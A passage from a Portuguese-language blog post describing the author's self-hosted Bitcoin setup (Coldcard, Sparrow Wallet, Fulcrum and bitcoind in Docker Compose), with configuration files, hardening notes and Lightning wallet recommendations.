<p>Então minha visão é simples: dá pra usar? Dá. Eu recomendaria como solução principal pra guardar patrimônio relevante? Não. Pra isso eu ainda prefiro hardware dedicado comprado da fonte correta.</p>
<h2>Sparrow Wallet: a melhor peça de desktop desse quebra-cabeça<span class="hx:absolute hx:-mt-20" id="sparrow-wallet-a-melhor-peça-de-desktop-desse-quebra-cabeça"></span>
    <a href="#sparrow-wallet-a-melhor-pe%c3%a7a-de-desktop-desse-quebra-cabe%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No Linux, eu uso <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow Wallet</a>. Pra mim, hoje, ela é uma das melhores peças de software nesse ecossistema.</p>
<p><a href="https://www.sparrowwallet.com/features/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/sparrow-transactions.png" alt="Sparrow Wallet em execução, mostrando o histórico detalhado da carteira e das transações"  loading="lazy" /></a></p>
<p>O que eu gosto nela:</p>
<ul>
<li>funciona muito bem em desktop Linux</li>
<li>suporta hardware wallets direito</li>
<li>entende PSBT sem drama</li>
<li>deixa muito claro o que está acontecendo na transação</li>
<li>é ótima como watch-only wallet</li>
</ul>
<p>No meu fluxo, a Sparrow faz três coisas:</p>
<ol>
<li>Guarda a carteira watch-only.</li>
<li>Monta a transação com os outputs e taxas.</li>
<li>Recebe de volta a assinatura da Coldcard e faz o broadcast.</li>
</ol>
<p>Essa separação é elegante. O desktop vira coordenador. O signer continua frio.</p>
<h2>Por que Coldcard + Sparrow funciona tão bem<span class="hx:absolute hx:-mt-20" id="por-que-coldcard--sparrow-funciona-tão-bem"></span>
    <a href="#por-que-coldcard--sparrow-funciona-t%c3%a3o-bem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa combinação é boa porque cada peça faz o que faz melhor:</p>
<ul>
<li>a Coldcard protege a chave</li>
<li>a Sparrow organiza o uso humano da carteira</li>
<li>o servidor cuida da infraestrutura</li>
</ul>
<p>Muita wallet tenta fazer tudo. Eu prefiro esse desenho modular. É menos &ldquo;mágico&rdquo;, mais explícito, e mais fácil de raciocinar sobre ele sem autoengano.</p>
<p>Se eu estou no desktop, eu quero visibilidade. Se eu estou no signer, eu quero isolamento. Se eu estou no servidor, eu quero validação e índice local. Essa divisão é limpa.</p>
<h2>O problema da Sparrow sem infra própria<span class="hx:absolute hx:-mt-20" id="o-problema-da-sparrow-sem-infra-própria"></span>
    <a href="#o-problema-da-sparrow-sem-infra-pr%c3%b3pria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora vem o detalhe importante. A Sparrow sozinha não resolve privacidade.</p>
<p>Se você instalar, abrir e simplesmente usar servidores públicos, alguém do outro lado passa a aprender bastante coisa sobre sua carteira: conjunto de endereços, xpubs ou derivadas, saldo, histórico, comportamento de consulta, broadcast. Não é custódia, mas ainda é exposição.</p>
<p>Esse é o buraco que o Fulcrum preenche.</p>
<h2>Fulcrum: o servidor Electrum privado da casa<span class="hx:absolute hx:-mt-20" id="fulcrum-o-servidor-electrum-privado-da-casa"></span>
    <a href="#fulcrum-o-servidor-electrum-privado-da-casa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/cculianu/Fulcrum"target="_blank" rel="noopener">Fulcrum</a> é um servidor Electrum. Em vez de deixar a Sparrow perguntando coisas pra servidor público de terceiros, ela pergunta pro meu próprio servidor.</p>
<p>Na prática, isso significa:</p>
<ul>
<li>consulta de saldo local</li>
<li>histórico local</li>
<li>descoberta de endereços local</li>
<li>broadcast local</li>
</ul>
<p>Ou seja: a wallet desktop para de &ldquo;telefonar&rdquo; pro mundo toda vez que você abre o programa.</p>
<p>No meu setup atual, a Sparrow aponta pra um Fulcrum rodando no home server da LAN, com porta <code>50001</code> na rede interna e <code>50002</code> com TLS.</p>
<h2>E por que Fulcrum não basta sozinho<span class="hx:absolute hx:-mt-20" id="e-por-que-fulcrum-não-basta-sozinho"></span>
    <a href="#e-por-que-fulcrum-n%c3%a3o-basta-sozinho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Porque Fulcrum não substitui um full node. Ele indexa em cima de um full node.</p>
<p>Quem realmente valida bloco, regra de consenso, script, transação e cadeia é o <code>bitcoind</code>. O Fulcrum fica na frente como camada de índice, porque Bitcoin Core puro não foi feito pra servir carteira desktop com esse tipo de consulta rápida.</p>
<p>Então a arquitetura correta é:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Coldcard (offline signer)
</span></span><span class="line"><span class="cl">        ^
</span></span><span class="line"><span class="cl">        | microSD / PSBT
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Sparrow Wallet (desktop watch-only + coordinator)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Fulcrum (Electrum server privado)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">bitcoind (full node)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>O que eu subi no home server de verdade<span class="hx:absolute hx:-mt-20" id="o-que-eu-subi-no-home-server-de-verdade"></span>
    <a href="#o-que-eu-subi-no-home-server-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No meu home server, a stack mora numa pasta dedicada do Docker Compose e é composta por dois containers:</p>
<ul>
<li><code>bitcoin-bitcoind</code></li>
<li><code>bitcoin-fulcrum</code></li>
</ul>
<p>O compose é simples. E isso é bom. Infra sensível não ganha nada ficando esperta demais no YAML.</p>
<p>O desenho principal é este:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">lncm/bitcoind:v28.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-bitcoind</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">user</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;${BITCOIN_UID}:${BITCOIN_GID}&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/data/.bitcoin</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;8333:8333&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">stop_grace_period</span><span class="p">:</span><span class="w"> </span><span class="l">5m</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">healthcheck</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">test</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;CMD&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;bitcoin-cli&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;-datadir=/data/.bitcoin&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;ping&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">interval</span><span class="p">:</span><span class="w"> </span><span class="l">30s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">timeout</span><span class="p">:</span><span class="w"> </span><span class="l">10s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">retries</span><span class="p">:</span><span class="w"> </span><span class="m">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">start_period</span><span class="p">:</span><span class="w"> </span><span class="l">60s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">fulcrum</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cculianu/fulcrum:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-fulcrum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/fulcrum:/data</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/bitcoin:ro</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;Fulcrum&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;/data/fulcrum.conf&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50001:50001&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50002:50002&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_healthy</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No meu caso, a restrição do <code>50001</code> à LAN acontece na camada de rede do host. O YAML acima é o esqueleto do stack, não a política inteira de firewall.</p>
<p>As partes mais importantes disso:</p>
<ul>
<li><code>restart: always</code> porque isso é serviço de longa duração</li>
<li>volume explícito pra não perder estado</li>
<li><code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> porque o diretório persistente precisa casar com o ownership real do storage, então eu prefiro fixar UID/GID de forma explícita em vez de confiar no default da imagem</li>
<li>o RPC não é publicado no host; ele fica só na rede interna do Compose, que é tudo o que o Fulcrum precisa</li>
<li>o healthcheck usa o próprio <code>.cookie</code> local do Bitcoin Core, então não precisa espalhar senha fixa em comando</li>
<li>o Fulcrum monta o datadir do node em leitura apenas para autenticar via <code>.cookie</code> sem inventar credencial paralela</li>
<li>no <code>fulcrum.conf</code>, isso vira uma configuração simples: falar com <code>bitcoin:8332</code> e ler o <code>.cookie</code> montado, em vez de repetir credencial em texto puro</li>
<li><code>security_opt: label:disable</code> porque neste host com MicroOS, SELinux e bind mounts sensíveis eu preferi a rota pragmática de desarmar esse atrito específico em vez de perder tempo brigando com label em volume que já está sendo tratado de forma controlada</li>
<li><code>depends_on</code> com <code>service_healthy</code> pra o Fulcrum só subir depois que o RPC do bitcoind responder</li>
<li><code>stop_grace_period: 5m</code> porque bitcoind precisa tempo real pra flushar estado em shutdown gracioso</li>
</ul>
<h2>A versão final<span class="hx:absolute hx:-mt-20" id="a-versão-final"></span>
    <a href="#a-vers%c3%a3o-final" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, o desenho que eu quero manter é esse: <code>bitcoind</code> com <code>txindex</code>, <code>dbcache=1024</code>, volume persistente, parada graciosa de 5 minutos, autenticação por <code>.cookie</code>, e Fulcrum na frente servindo Sparrow pela LAN ou via TLS.</p>
<p>A stack atual está assim:</p>
<table>
  <thead>
      <tr>
          <th>Componente</th>
          <th>Estado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Bitcoin Core</td>
          <td><code>28.0</code></td>
      </tr>
      <tr>
          <td>Fulcrum</td>
          <td><code>2.1.0</code></td>
      </tr>
      <tr>
          <td>Stop timeout do container</td>
          <td><code>300</code> segundos</td>
      </tr>
      <tr>
          <td>Data dir do node</td>
          <td>volume persistente dedicado montado em <code>/data/.bitcoin</code></td>
      </tr>
      <tr>
          <td>Rede</td>
          <td><code>8333</code> pra P2P, RPC só na rede interna do Compose, <code>50001/50002</code> pro Electrum privado</td>
      </tr>
  </tbody>
</table>
<p>Não me interessa transformar isso em espetáculo. O ponto é mais simples: a infra final precisa ser chata, previsível e estável.</p>
<h2>Os tunings que importam de verdade<span class="hx:absolute hx:-mt-20" id="os-tunings-que-importam-de-verdade"></span>
    <a href="#os-tunings-que-importam-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não tem mágica aqui. Tem alguns parâmetros que fazem diferença real e um monte de coisa que só serve pra enfeitar compose.</p>
<p>O <code>stop_grace_period: 5m</code> existe porque bitcoind não é container descartável de stateless API. Ele mantém chainstate, índices e cache em memória. Se você não dá tempo pro processo encerrar direito, você cria trabalho desnecessário no próximo start.</p>
<p>O <code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> está ali por um motivo bem menos glamouroso e muito mais importante: storage persistente com permissão errada é um jeito excelente de quebrar serviço bom. Então eu prefiro alinhar o container ao ownership real do volume em vez de deixar isso implícito.</p>
<p>O <code>dbcache=1024</code> é o ponto que eu acho mais sensato pra node doméstico sempre ligado. Grande o suficiente pra não ficar sofrendo em I/O o tempo todo, pequeno o suficiente pra não transformar cada restart num parto.</p>
<p>O <code>txindex=1</code> eu mantenho porque quero o node completo, não uma instalação minimalista só pra dizer que &ldquo;roda Bitcoin&rdquo;. Se a ideia aqui é autonomia operacional, eu prefiro ter o índice completo.</p>
<p>O <code>rpcworkqueue=512</code> e <code>rpcthreads=16</code> são o tipo de ajuste que faz sentido quando você sabe que vai colocar Fulcrum perguntando pro node o dia inteiro e quer alguma folga.</p>
<p>No lado do Fulcrum, os parâmetros principais são:</p>
<ul>
<li><code>db_mem = 8192</code></li>
<li><code>db_max_open_files = -1</code></li>
<li><code>bitcoind_clients = 8</code></li>
<li><code>worker_threads = 0</code></li>
<li><code>peering = false</code></li>
</ul>
<p>De novo: nada de esoterismo. Só cache suficiente, paralelismo razoável e nada de anunciar esse servidor como serviço público.</p>
<p>No meu <code>bitcoin.conf</code> atual, o núcleo importante ficou assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="na">server</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">txindex</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">prune</span><span class="o">=</span><span class="s">0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcbind</span><span class="o">=</span><span class="s">0.0.0.0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcallowip</span><span class="o">=</span><span class="s">172.0.0.0/8</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcthreads</span><span class="o">=</span><span class="s">16</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcworkqueue</span><span class="o">=</span><span class="s">512</span>
</span></span><span class="line"><span class="cl"><span class="na">dbcache</span><span class="o">=</span><span class="s">1024</span>
</span></span><span class="line"><span class="cl"><span class="na">maxmempool</span><span class="o">=</span><span class="s">512</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Tudo isso faz sentido num servidor com RAM decente e NVMe rápido. Mas o detalhe que mais importa continua sendo o shutdown limpo. Infra de wallet não tem espaço pra mentalidade de &ldquo;depois a gente vê&rdquo;.</p>
<h2>O tamanho real disso tudo<span class="hx:absolute hx:-mt-20" id="o-tamanho-real-disso-tudo"></span>
    <a href="#o-tamanho-real-disso-tudo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse é outro ponto que muita gente subestima.</p>
<p>Se você olhar documentação mais antiga do Bitcoin Core, vai encontrar números como 350 GB de disco para um node com configuração padrão. Isso já ficou pra trás. Dados mais atuais do tamanho da blockchain apontam algo em torno de <strong>725.82 GB em 11 de março de 2026</strong>, e isso é só a cadeia bruta, sem contar os índices extras que muita gente técnica vai querer manter.</p>
<p>E aqui entra a pegadinha: o stack que eu estou descrevendo não é &ldquo;Bitcoin Core pelado só pra dizer que roda um node&rdquo;. É <code>bitcoind</code> com <code>txindex</code>, mais Fulcrum, mais margem pra rebuild, logs, snapshots e crescimento normal da rede.</p>
<p>Por isso, pra montar algo parecido hoje, eu pensaria assim:</p>
<ul>
<li>abaixo de 1 TB: eu nem começaria</li>
<li>1 TB: mínimo pragmático</li>
<li>2 TB: faixa confortável</li>
<li>acima disso: se você quer folga de longo prazo, snapshots e menos ansiedade operacional</li>
</ul>
<p>E aqui vai a observação mais importante de todas em self-hosting: não assuma que persistência, montagem e backup estão certos só porque o YAML está bonito. Verifique de verdade.</p>
<p>Outra coisa que eu não esqueceria num host com btrfs: colocar o banco do Fulcrum (<code>fulc2_db</code>) em subvolume separado. O motivo é bem mundano. Esse diretório cresce, muda o tempo inteiro e não tem nada a ver com snapshot automático genérico de <code>/var</code>. Se você mistura tudo, acaba arrastando índice grande e reconstruível junto com snapshot de sistema, queimando espaço e deixando a manutenção mais irritante do que precisava. Índice do Fulcrum não é configuração delicada. É dado pesado, volátil e reconstruível. Eu trato exatamente assim.</p>
<h2>Hardening: o que já deixei aplicado<span class="hx:absolute hx:-mt-20" id="hardening-o-que-já-deixei-aplicado"></span>
    <a href="#hardening-o-que-j%c3%a1-deixei-aplicado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui é onde aparece a diferença entre &ldquo;rodou no meu notebook&rdquo; e &ldquo;eu confiaria nisso pra operar minha carteira&rdquo;.</p>
<p>No estado atual da stack, os pontos que eu considero importantes ficaram assim:</p>
<ul>
<li>o RPC do Bitcoin Core não depende mais de exposição desnecessária no host; o Fulcrum fala com o <code>bitcoind</code> pela rede interna do Docker, que é o que interessa de verdade</li>
<li><code>50001</code> fica restrita ao uso interno da LAN</li>
<li><code>50002</code> fica disponível com TLS, que é a forma certa quando você precisa sair do plaintext</li>
<li>o shutdown é gracioso, com <code>stop_grace_period: 5m</code>, pra o <code>bitcoind</code> ter tempo de flushar estado em vez de morrer de qualquer jeito</li>
<li>a montagem do storage não fica na base do &ldquo;depois eu vejo&rdquo;; existe checagem de mount antes do Docker subir, justamente pra evitar drift silencioso</li>
</ul>
<p>Cada um desses itens existe por um motivo bem concreto.</p>
<p>Tirar o RPC da superfície do host reduz ataque sem custo nenhum. O Fulcrum já está no mesmo Compose e já consegue falar com o serviço pelo nome interno. Não existe ganho real em deixar essa porta aparecendo onde ela não precisa aparecer.</p>
<p>Separar <code>50001</code> e <code>50002</code> também ajuda a manter a casa em ordem. Dentro de LAN controlada, plaintext é aceitável. Fora disso, o mínimo razoável é TLS. Misturar os dois cenários costuma virar bagunça.</p>
<p>O <code>stop_grace_period: 5m</code> parece detalhe de container, mas não é. Quem já teve banco de dados, índice ou node de blockchain encerrado no tapa sabe o quanto isso vira horas de trabalho depois. Serviço stateful precisa de parada decente.</p>
<p>E a checagem de mount é uma daquelas coisas chatas que salvam você de si mesmo. O YAML pode estar lindo. Se o storage não montou e o serviço subiu gravando onde não devia, você acabou de fabricar um problema bem irritante.</p>
<p>Tem também um ponto que eu gosto bastante nesta versão final do stack: o Fulcrum autentica no <code>bitcoind</code> via arquivo <code>.cookie</code>, não via senha fixa em texto puro. Isso é interessante por dois motivos:</p>
<ul>
<li>você não precisa deixar credencial estática aparecendo em compose, inspect, healthcheck ou documentação</li>
<li>a autenticação fica mais alinhada com o próprio jeito que o Bitcoin Core já sabe operar localmente</li>
</ul>
<p>Em termos práticos, isso reduz vazamento acidental de segredo operacional. Não é uma solução mágica pra tudo, mas é muito melhor do que espalhar <code>rpcuser</code> e <code>rpcpassword</code> em arquivo, log e comando.</p>
<p>O único tipo de hardening que eu tento evitar aqui é o hardening performático demais no YAML e frouxo demais na operação. Eu prefiro menos &ldquo;engenharia de palco&rdquo; e mais disciplina básica:</p>
<ul>
<li>rede mínima</li>
<li>segredo mínimo</li>
<li>privilégio mínimo</li>
<li>shutdown limpo</li>
<li>storage verificado</li>
<li>subvolume separado pra dado grande e reconstruível, como o índice do Fulcrum</li>
</ul>
<p>E, de novo, documente tudo. Infra boa não é a que só funciona hoje. É a que continua funcionando quando você volta nela seis meses depois.</p>
<h2>Por que isso melhora transações do seu lado<span class="hx:absolute hx:-mt-20" id="por-que-isso-melhora-transações-do-seu-lado"></span>
    <a href="#por-que-isso-melhora-transa%c3%a7%c3%b5es-do-seu-lado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando eu monto uma transação na Sparrow e assino na Coldcard, a cadeia de confiança fica muito melhor definida:</p>
<ul>
<li>a chave privada não toca internet</li>
<li>a wallet desktop não precisa confiar em servidor público</li>
<li>o broadcast pode sair do meu próprio node</li>
<li>o histórico de endereços não precisa ir parar em Electrum server de terceiro</li>
</ul>
<p>Isso não torna nada invulnerável. Ainda existe risco de malware no desktop, seed mal armazenada, erro humano, engenharia social e desastre físico. Mas o desenho fica bem mais coerente.</p>
<h2>E o Lightning? Especialmente no Brasil?<span class="hx:absolute hx:-mt-20" id="e-o-lightning-especialmente-no-brasil"></span>
    <a href="#e-o-lightning-especialmente-no-brasil" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aí eu separo as coisas.</p>
<p>Reserva e transação de valor maior eu trato de um jeito. Gasto cotidiano eu trato de outro.</p>
<p>Pra gasto cotidiano, especialmente no Brasil, eu acho burrice operacional carregar muito saldo em wallet quente. Wallet de Lightning e app de gasto têm que ser quase &ldquo;carteira de bolso&rdquo;: só o suficiente pro dia a dia.</p>
<p>Isso vale em dobro se você usar solução híbrida ou custodial, como <a href="https://www.redotpay.com/"target="_blank" rel="noopener">RedotPay</a>. Eu entendo por que ela é interessante pra brasileiro: empresa de Hong Kong, foco internacional, bridge razoavelmente prática entre cripto e gasto com cartão. Pra viagens, compra online e vida fora do eixo bancário brasileiro, faz sentido. Mas eu jamais trataria isso como lugar de guardar patrimônio. Isso é ferramenta de spending, não cofre.</p>
<p>Mesma lógica pro <a href="https://www.bitrefill.com/br/pt/"target="_blank" rel="noopener">Bitrefill Brasil</a>. Eu acho o serviço interessante justamente porque ele resolve uma dor real no Brasil: transformar sats em utilidade concreta sem vender toda posição nem depender de integração bancária o tempo todo. Gift card, recarga, pequenas despesas. Como ferramenta de uso, faz bastante sentido.</p>
<p>Pra wallet Lightning no celular, eu olharia primeiro para:</p>
<ul>
<li><a href="https://phoenix.acinq.co/"target="_blank" rel="noopener">Phoenix</a> pra quem quer algo muito bom e simples</li>
<li><a href="https://breez.technology/"target="_blank" rel="noopener">Breez</a> pra quem quer experiência boa de pagamentos</li>
<li><a href="https://zeusln.com/"target="_blank" rel="noopener">ZEUS</a> se você é mais técnico e eventualmente pretende operar seu próprio node Lightning</li>
</ul>
<p>Todas elas, na minha cabeça, entram na categoria &ldquo;carteira de bolso&rdquo;. Saldo pequeno. Uso diário. Nada de transformar app de celular em cofre de aposentadoria.</p>
<h2>Notícias recentes que reforçam esse raciocínio<span class="hx:absolute hx:-mt-20" id="notícias-recentes-que-reforçam-esse-raciocínio"></span>
    <a href="#not%c3%adcias-recentes-que-refor%c3%a7am-esse-racioc%c3%adnio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu não monto esse tipo de stack porque acho bonito. Eu monto porque terceirização demais dá ruim com frequência demais.</p>
<p>Dois exemplos recentes:</p>
<ul>
<li>o <a href="https://www.cnbc.com/2025/02/21/hackers-steal-1point5-billion-from-exchange-bybit-biggest-crypto-heist.html"target="_blank" rel="noopener">hack da Bybit em 2025</a> mostrou, de novo, o risco básico de deixar custódia relevante em exchange</li>
<li>o <a href="https://techcrunch.com/2025/05/15/coinbase-says-customers-personal-information-stolen-in-data-breach/"target="_blank" rel="noopener">vazamento de dados de clientes da Coinbase em 2025</a> mostrou o outro lado do problema: mesmo quando a custódia não é o foco imediato, sua identidade, saldo e histórico viram superfície de ataque</li>
</ul>
<p>Uma stack como Coldcard + Sparrow + Fulcrum + full node não elimina todo risco do mundo. Mas evita duas classes de problema bem reais:</p>
<ul>
<li>perder soberania de custódia</li>
<li>entregar privacidade de carteira e transação de bandeja pra terceiros</li>
</ul>
<h2>Então vale a pena?<span class="hx:absolute hx:-mt-20" id="então-vale-a-pena"></span>
    <a href="#ent%c3%a3o-vale-a-pena" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra maioria das pessoas, honestamente, provavelmente não no primeiro mês. É trabalhoso, tem curva de aprendizado, e exige disciplina.</p>
<p>Mas pra programador, engenheiro e qualquer pessoa técnica que quer aprender a não depender sempre de serviço alheio, eu acho um exercício excelente.</p>
<p>Você aprende sobre:</p>
<ul>
<li>separação de responsabilidades</li>
<li>persistência e estado</li>
<li>shutdown gracioso</li>
<li>observabilidade</li>
<li>isolamento de segredo</li>
<li>trade-off entre conveniência e segurança</li>
</ul>
<p>E tudo isso vale além de Bitcoin.</p>
<p>No fim das contas, é isso que mais me interessa nesse stack. Não é sair pregando &ldquo;hyperbitcoinization&rdquo; nem posar de profeta de preço. É montar um sistema em casa em que eu consigo confiar mais porque fui eu que instalei, medi, quebrei, consertei e documentei.</p>
<p>Dá trabalho? Dá.</p>
<p>Mas esse tipo de trabalho ensina exatamente o que software moderno tenta fazer você esquecer: depender menos dos outros dá mais trabalho no começo, mas costuma comprar muito mais controle no longo prazo.</p>
